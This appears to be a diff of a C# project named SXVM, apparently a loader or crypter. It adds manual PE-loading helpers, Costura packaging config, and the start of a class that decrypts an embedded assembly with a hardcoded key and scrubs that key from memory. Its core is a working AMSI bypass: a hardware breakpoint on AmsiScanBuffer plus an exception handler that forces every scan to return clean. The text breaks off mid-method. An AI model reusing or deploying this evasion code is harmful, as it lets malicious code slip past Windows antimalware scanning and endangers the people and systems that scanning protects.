||||||
|
enum DllReason : uint
|
||||||
|
{
|
||||||
|
DLL_PROCESS_ATTACH = 1,
|
||||||
|
DLL_THREAD_ATTACH = 2,
|
||||||
|
DLL_THREAD_DETACH = 3,
|
||||||
|
DLL_PROCESS_DETACH = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
class Win
|
||||||
|
{
|
||||||
|
public const ushort IMAGE_DOS_SIGNATURE = 0x5A4D;
|
||||||
|
public const uint IMAGE_NT_SIGNATURE = 0x00004550;
|
||||||
|
public const uint IMAGE_FILE_MACHINE_I386 = 0x014c;
|
||||||
|
public const uint IMAGE_FILE_MACHINE_AMD64 = 0x8664;
|
||||||
|
public const uint PAGE_NOCACHE = 0x200;
|
||||||
|
public const uint IMAGE_SCN_CNT_INITIALIZED_DATA = 0x00000040;
|
||||||
|
public const uint IMAGE_SCN_CNT_UNINITIALIZED_DATA = 0x00000080;
|
||||||
|
public const uint IMAGE_SCN_MEM_DISCARDABLE = 0x02000000;
|
||||||
|
public const uint IMAGE_SCN_MEM_NOT_CACHED = 0x04000000;
|
||||||
|
public const uint IMAGE_FILE_DLL = 0x2000;
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
|
||||||
|
|
||||||
|
[DllImport("msvcrt.dll", EntryPoint = "memset", CallingConvention = CallingConvention.Cdecl, SetLastError = false)]
|
||||||
|
public static extern IntPtr MemSet(IntPtr dest, int c, UIntPtr count);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||||
|
public static extern IntPtr LoadLibrary(IntPtr lpFileName);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
|
||||||
|
public static extern IntPtr GetProcAddress(IntPtr hModule, IntPtr procName);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
public static extern bool VirtualFree(IntPtr lpAddress, IntPtr dwSize, AllocationType dwFreeType);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
public static extern bool VirtualProtect(IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
public static extern bool FreeLibrary(IntPtr hModule);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
public static extern void GetNativeSystemInfo(out SYSTEM_INFO lpSystemInfo);
|
||||||
|
|
||||||
|
public static IntPtr IMAGE_FIRST_SECTION(IntPtr pNTHeader, ushort ntheader_FileHeader_SizeOfOptionalHeader)
|
||||||
|
{
|
||||||
|
return PtrAdd(pNTHeader, Of.IMAGE_NT_HEADERS_OptionalHeader + (int)ntheader_FileHeader_SizeOfOptionalHeader);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static int IMAGE_FIRST_SECTION(int lfanew, ushort ntheader_FileHeader_SizeOfOptionalHeader)
|
||||||
|
{
|
||||||
|
return lfanew + Of.IMAGE_NT_HEADERS_OptionalHeader + ntheader_FileHeader_SizeOfOptionalHeader;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static IntPtr IMAGE_ORDINAL(IntPtr ordinal)
|
||||||
|
{
|
||||||
|
return (IntPtr)(int)(unchecked((ulong)ordinal.ToInt64()) & 0xffff);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static bool IMAGE_SNAP_BY_ORDINAL(IntPtr ordinal)
|
||||||
|
{
|
||||||
|
return (IntPtr.Size == 8 ? (ordinal.ToInt64() < 0) : (ordinal.ToInt32() < 0));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static T PtrRead<T>(IntPtr ptr) { return (T)Marshal.PtrToStructure(ptr, typeof(T)); }
|
||||||
|
static void PtrWrite<T>(IntPtr ptr, T val) { Marshal.StructureToPtr(val, ptr, false); }
|
||||||
|
static IntPtr PtrAdd(IntPtr p, int v) { return (IntPtr)(p.ToInt64() + v); }
|
||||||
|
static IntPtr PtrAdd(IntPtr p, uint v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + unchecked((long)v)) : (IntPtr)(p.ToInt32() + unchecked((int)v))); }
|
||||||
|
static IntPtr PtrAdd(IntPtr p, IntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + v.ToInt64()) : (IntPtr)(p.ToInt32() + v.ToInt32())); }
|
||||||
|
static IntPtr PtrAdd(IntPtr p, UIntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + unchecked((long)v.ToUInt64())) : (IntPtr)(p.ToInt32() + unchecked((int)v.ToUInt32()))); }
|
||||||
|
static IntPtr PtrSub(IntPtr p, IntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() - v.ToInt64()) : (IntPtr)(p.ToInt32() - v.ToInt32())); }
|
||||||
|
static IntPtr PtrBitOr(IntPtr p, UIntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)unchecked((long)(unchecked((ulong)p.ToInt64()) | v.ToUInt64())) : (IntPtr)unchecked((int)(unchecked((uint)p.ToInt32()) | v.ToUInt32()))); }
|
||||||
|
static IntPtr PtrAlignDown(IntPtr p, UIntPtr align) { return (IntPtr)unchecked((long)(unchecked((ulong)p.ToInt64()) & ~(align.ToUInt64() - 1))); }
|
||||||
|
static bool PtrIsInvalidHandle(IntPtr h) { return (h == IntPtr.Zero || h == (IntPtr.Size == 8 ? (IntPtr)(long)-1 : (IntPtr)(int)-1)); }
|
||||||
|
static bool PtrSpanBoundary(IntPtr p, uint Size, int BoundaryBits) { return ((unchecked((ulong)p.ToInt64()) >> BoundaryBits) < ((unchecked((ulong)(p.ToInt64())) + Size) >> BoundaryBits)); }
|
||||||
|
|
||||||
|
static T BytesReadStructAt<T>(byte[] buf, int offset)
|
||||||
|
{
|
||||||
|
int size = Marshal.SizeOf(typeof(T));
|
||||||
|
IntPtr ptr = Marshal.AllocHGlobal(size);
|
||||||
|
Marshal.Copy(buf, offset, ptr, size);
|
||||||
|
T res = (T)Marshal.PtrToStructure(ptr, typeof(T));
|
||||||
|
Marshal.FreeHGlobal(ptr);
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
|
||||||
|
<Costura />
|
||||||
|
</Weavers>
|
||||||
@@ -0,0 +1,141 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
|
||||||
|
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
|
||||||
|
<xs:element name="Weavers">
|
||||||
|
<xs:complexType>
|
||||||
|
<xs:all>
|
||||||
|
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
|
||||||
|
<xs:complexType>
|
||||||
|
<xs:all>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
</xs:all>
|
||||||
|
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IncludeRuntimeReferences" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="UseRuntimeReferencePaths" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="DisableCompression" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="DisableCleanup" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="ExcludeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IncludeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IncludeRuntimeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="PreloadOrder" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
</xs:complexType>
|
||||||
|
</xs:element>
|
||||||
|
</xs:all>
|
||||||
|
<xs:attribute name="VerifyAssembly" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="GenerateXsd" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
</xs:complexType>
|
||||||
|
</xs:element>
|
||||||
|
</xs:schema>
|
||||||
@@ -0,0 +1,265 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
|
||||||
|
namespace SXVM
|
||||||
|
{
|
||||||
|
internal static class HardwareBreakpointAmsiPatch
|
||||||
|
{
|
||||||
|
private static IntPtr pABuF = IntPtr.Zero;
|
||||||
|
private static IntPtr pCtx = IntPtr.Zero;
|
||||||
|
|
||||||
|
private class HardwareBreakpointAmsiPatchHandlerMethod : Attribute
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
internal static void Bypass()
|
||||||
|
{
|
||||||
|
pABuF = GetProcAddress(LoadLibrary(@"amsi.dll"), @"AmsiScanBuffer");
|
||||||
|
pCtx = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(CONTEXT64)));
|
||||||
|
CONTEXT64 ctx = new CONTEXT64();
|
||||||
|
ctx.ContextFlags = CONTEXT64_FLAGS.CONTEXT64_ALL;
|
||||||
|
MethodInfo method = null;
|
||||||
|
bool method_found = false;
|
||||||
|
foreach (MethodInfo mi in typeof(HardwareBreakpointAmsiPatch).GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance))
|
||||||
|
{
|
||||||
|
foreach (CustomAttributeData customAttribute in mi.CustomAttributes)
|
||||||
|
{
|
||||||
|
if (customAttribute.AttributeType == typeof(HardwareBreakpointAmsiPatchHandlerMethod))
|
||||||
|
{
|
||||||
|
method = mi;
|
||||||
|
method_found = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method_found == true)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
IntPtr hExHandler = AddVectoredExceptionHandler(1, method.MethodHandle.GetFunctionPointer());
|
||||||
|
Marshal.StructureToPtr(ctx, pCtx, true);
|
||||||
|
bool b = GetThreadContext((IntPtr)(-2), pCtx);
|
||||||
|
ctx = (CONTEXT64)Marshal.PtrToStructure(pCtx, typeof(CONTEXT64));
|
||||||
|
EnableBreakpoint(ctx, pABuF, 0);
|
||||||
|
SetThreadContext((IntPtr)(-2), pCtx);
|
||||||
|
}
|
||||||
|
|
||||||
|
[HardwareBreakpointAmsiPatchHandlerMethod]
|
||||||
|
private static long Handler(IntPtr exceptions)
|
||||||
|
{
|
||||||
|
EXCEPTION_POINTERS ep = new EXCEPTION_POINTERS();
|
||||||
|
ep = (EXCEPTION_POINTERS)Marshal.PtrToStructure(exceptions, typeof(EXCEPTION_POINTERS));
|
||||||
|
EXCEPTION_RECORD ExceptionRecord = new EXCEPTION_RECORD();
|
||||||
|
ExceptionRecord = (EXCEPTION_RECORD)Marshal.PtrToStructure(ep.pExceptionRecord, typeof(EXCEPTION_RECORD));
|
||||||
|
CONTEXT64 ContextRecord = new CONTEXT64();
|
||||||
|
ContextRecord = (CONTEXT64)Marshal.PtrToStructure(ep.pContextRecord, typeof(CONTEXT64));
|
||||||
|
if (ExceptionRecord.ExceptionCode == EXCEPTION_SINGLE_STEP && ExceptionRecord.ExceptionAddress == pABuF)
|
||||||
|
{
|
||||||
|
ulong ReturnAddress = (ulong)Marshal.ReadInt64((IntPtr)ContextRecord.Rsp);
|
||||||
|
IntPtr ScanResult = Marshal.ReadIntPtr((IntPtr)(ContextRecord.Rsp + (6 * 8)));
|
||||||
|
Marshal.WriteInt32(ScanResult, 0, AMSI_RESULT_CLEAN);
|
||||||
|
ContextRecord.Rip = ReturnAddress;
|
||||||
|
ContextRecord.Rsp += 8;
|
||||||
|
ContextRecord.Rax = 0;
|
||||||
|
Marshal.StructureToPtr(ContextRecord, ep.pContextRecord, true);
|
||||||
|
return EXCEPTION_CONTINUE_EXECUTION;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
return EXCEPTION_CONTINUE_SEARCH;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void EnableBreakpoint(CONTEXT64 ctx, IntPtr address, int index)
|
||||||
|
{
|
||||||
|
switch (index)
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
ctx.Dr0 = (ulong)address.ToInt64();
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
ctx.Dr1 = (ulong)address.ToInt64();
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
ctx.Dr2 = (ulong)address.ToInt64();
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
ctx.Dr3 = (ulong)address.ToInt64();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
ctx.Dr7 = SetBits(ctx.Dr7, 16, 16, 0);
|
||||||
|
ctx.Dr7 = SetBits(ctx.Dr7, (index * 2), 1, 1);
|
||||||
|
ctx.Dr6 = 0;
|
||||||
|
Marshal.StructureToPtr(ctx, pCtx, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static ulong SetBits(ulong dw, int lowBit, int bits, ulong newValue)
|
||||||
|
{
|
||||||
|
ulong mask = (1UL << bits) - 1UL;
|
||||||
|
dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);
|
||||||
|
return dw;
|
||||||
|
}
|
||||||
|
|
||||||
|
private const Int32 EXCEPTION_CONTINUE_EXECUTION = -1;
|
||||||
|
private const Int32 EXCEPTION_CONTINUE_SEARCH = 0;
|
||||||
|
|
||||||
|
private const UInt32 EXCEPTION_SINGLE_STEP = 0x80000004;
|
||||||
|
|
||||||
|
private const Int32 AMSI_RESULT_CLEAN = 0;
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
private static extern bool SetThreadContext(IntPtr hThread, IntPtr lpContext);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
private static extern bool GetThreadContext(IntPtr hThread, IntPtr lpContext);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||||
|
|
||||||
|
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
|
||||||
|
private static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);
|
||||||
|
|
||||||
|
[DllImport("Kernel32.dll")]
|
||||||
|
private static extern IntPtr AddVectoredExceptionHandler(uint First, IntPtr Handler);
|
||||||
|
|
||||||
|
[Flags]
|
||||||
|
private enum CONTEXT64_FLAGS : uint
|
||||||
|
{
|
||||||
|
CONTEXT64_AMD64 = 0x100000,
|
||||||
|
CONTEXT64_CONTROL = CONTEXT64_AMD64 | 0x01,
|
||||||
|
CONTEXT64_INTEGER = CONTEXT64_AMD64 | 0x02,
|
||||||
|
CONTEXT64_SEGMENTS = CONTEXT64_AMD64 | 0x04,
|
||||||
|
CONTEXT64_FLOATING_POINT = CONTEXT64_AMD64 | 0x08,
|
||||||
|
CONTEXT64_DEBUG_REGISTERS = CONTEXT64_AMD64 | 0x10,
|
||||||
|
CONTEXT64_FULL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_FLOATING_POINT,
|
||||||
|
CONTEXT64_ALL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_SEGMENTS | CONTEXT64_FLOATING_POINT | CONTEXT64_DEBUG_REGISTERS
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
private struct M128A
|
||||||
|
{
|
||||||
|
public ulong High;
|
||||||
|
public long Low;
|
||||||
|
|
||||||
|
public override string ToString()
|
||||||
|
{
|
||||||
|
return string.Format("High:{0}, Low:{1}", this.High, this.Low);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential, Pack = 16)]
|
||||||
|
private struct XSAVE_FORMAT64
|
||||||
|
{
|
||||||
|
public ushort ControlWord;
|
||||||
|
public ushort StatusWord;
|
||||||
|
public byte TagWord;
|
||||||
|
public byte Reserved1;
|
||||||
|
public ushort ErrorOpcode;
|
||||||
|
public uint ErrorOffset;
|
||||||
|
public ushort ErrorSelector;
|
||||||
|
public ushort Reserved2;
|
||||||
|
public uint DataOffset;
|
||||||
|
public ushort DataSelector;
|
||||||
|
public ushort Reserved3;
|
||||||
|
public uint MxCsr;
|
||||||
|
public uint MxCsr_Mask;
|
||||||
|
|
||||||
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
|
||||||
|
public M128A[] FloatRegisters;
|
||||||
|
|
||||||
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
|
||||||
|
public M128A[] XmmRegisters;
|
||||||
|
|
||||||
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
|
||||||
|
public byte[] Reserved4;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential, Pack = 16)]
|
||||||
|
private struct CONTEXT64
|
||||||
|
{
|
||||||
|
public ulong P1Home;
|
||||||
|
public ulong P2Home;
|
||||||
|
public ulong P3Home;
|
||||||
|
public ulong P4Home;
|
||||||
|
public ulong P5Home;
|
||||||
|
public ulong P6Home;
|
||||||
|
|
||||||
|
public CONTEXT64_FLAGS ContextFlags;
|
||||||
|
public uint MxCsr;
|
||||||
|
|
||||||
|
public ushort SegCs;
|
||||||
|
public ushort SegDs;
|
||||||
|
public ushort SegEs;
|
||||||
|
public ushort SegFs;
|
||||||
|
public ushort SegGs;
|
||||||
|
public ushort SegSs;
|
||||||
|
public uint EFlags;
|
||||||
|
|
||||||
|
public ulong Dr0;
|
||||||
|
public ulong Dr1;
|
||||||
|
public ulong Dr2;
|
||||||
|
public ulong Dr3;
|
||||||
|
public ulong Dr6;
|
||||||
|
public ulong Dr7;
|
||||||
|
|
||||||
|
public ulong Rax;
|
||||||
|
public ulong Rcx;
|
||||||
|
public ulong Rdx;
|
||||||
|
public ulong Rbx;
|
||||||
|
public ulong Rsp;
|
||||||
|
public ulong Rbp;
|
||||||
|
public ulong Rsi;
|
||||||
|
public ulong Rdi;
|
||||||
|
public ulong R8;
|
||||||
|
public ulong R9;
|
||||||
|
public ulong R10;
|
||||||
|
public ulong R11;
|
||||||
|
public ulong R12;
|
||||||
|
public ulong R13;
|
||||||
|
public ulong R14;
|
||||||
|
public ulong R15;
|
||||||
|
public ulong Rip;
|
||||||
|
|
||||||
|
public XSAVE_FORMAT64 DUMMYUNIONNAME;
|
||||||
|
|
||||||
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]
|
||||||
|
public M128A[] VectorRegister;
|
||||||
|
public ulong VectorControl;
|
||||||
|
|
||||||
|
public ulong DebugControl;
|
||||||
|
public ulong LastBranchToRip;
|
||||||
|
public ulong LastBranchFromRip;
|
||||||
|
public ulong LastExceptionToRip;
|
||||||
|
public ulong LastExceptionFromRip;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
private struct EXCEPTION_RECORD
|
||||||
|
{
|
||||||
|
public uint ExceptionCode;
|
||||||
|
public uint ExceptionFlags;
|
||||||
|
public IntPtr ExceptionRecord;
|
||||||
|
public IntPtr ExceptionAddress;
|
||||||
|
public uint NumberParameters;
|
||||||
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 15, ArraySubType = UnmanagedType.U4)] public uint[] ExceptionInformation;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
private struct EXCEPTION_POINTERS
|
||||||
|
{
|
||||||
|
public IntPtr pExceptionRecord;
|
||||||
|
public IntPtr pContextRecord;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,116 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
|
||||||
|
namespace SXVM
|
||||||
|
{
|
||||||
|
internal static class HarmonyPatcher
|
||||||
|
{
|
||||||
|
private static string _0HarmonyDecryptionKey = @"XTRxaVOMjfXTRxaVOMjfIdEnBLTPVpUxVGBXxhvlxrwdxlTqkattOXmfDqzHIdEnBLTPVpUxVGBXxhvlxrwdxlTqkattOXmfDqzH";
|
||||||
|
|
||||||
|
private static void ClearHarmonyDecryptionKeyFromMemory()
|
||||||
|
{
|
||||||
|
_0HarmonyDecryptionKey = @"";
|
||||||
|
_0HarmonyDecryptionKey = null;
|
||||||
|
GC.Collect();
|
||||||
|
}
|
||||||
|
|
||||||
|
internal struct TypeInfo
|
||||||
|
{
|
||||||
|
internal Type InternalMethodType { get; set; }
|
||||||
|
|
||||||
|
internal string InternalMethodName { get; set; }
|
||||||
|
|
||||||
|
internal Type[] InternalTypeParameters { get; set; }
|
||||||
|
|
||||||
|
internal TypeInfo(Type MethodType, string MethodName, Type[] TypeParameters)
|
||||||
|
{
|
||||||
|
InternalMethodType = MethodType;
|
||||||
|
InternalMethodName = MethodName;
|
||||||
|
InternalTypeParameters = TypeParameters;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Assembly _0Harmony = null;
|
||||||
|
|
||||||
|
private static string PatchID = @"";
|
||||||
|
|
||||||
|
private static Random random = new Random();
|
||||||
|
|
||||||
|
private static string RandomString(int length)
|
||||||
|
{
|
||||||
|
const string chars = @"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
||||||
|
return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray());
|
||||||
|
}
|
||||||
|
|
||||||
|
internal static void Initialize()
|
||||||
|
{
|
||||||
|
if (_0Harmony == null)
|
||||||
|
{
|
||||||
|
_0Harmony = Assembly.Load(API.Decompress(API.AESDecrypt(API.ExtractResource(@"SXVM.0Harmony.bin"), _0HarmonyDecryptionKey)));
|
||||||
|
}
|
||||||
|
if (PatchID == @"")
|
||||||
|
{
|
||||||
|
PatchID = RandomString(10);
|
||||||
|
}
|
||||||
|
if (_0HarmonyDecryptionKey != null)
|
||||||
|
{
|
||||||
|
ClearHarmonyDecryptionKeyFromMemory();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal static void Patch(TypeInfo originalMethod, Type prefixMethod = null, Type postfixMethod = null)
|
||||||
|
{
|
||||||
|
if (originalMethod.InternalMethodType != null & originalMethod.InternalMethodName != null & originalMethod.InternalTypeParameters != null)
|
||||||
|
{
|
||||||
|
if (prefixMethod == null & postfixMethod == null)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
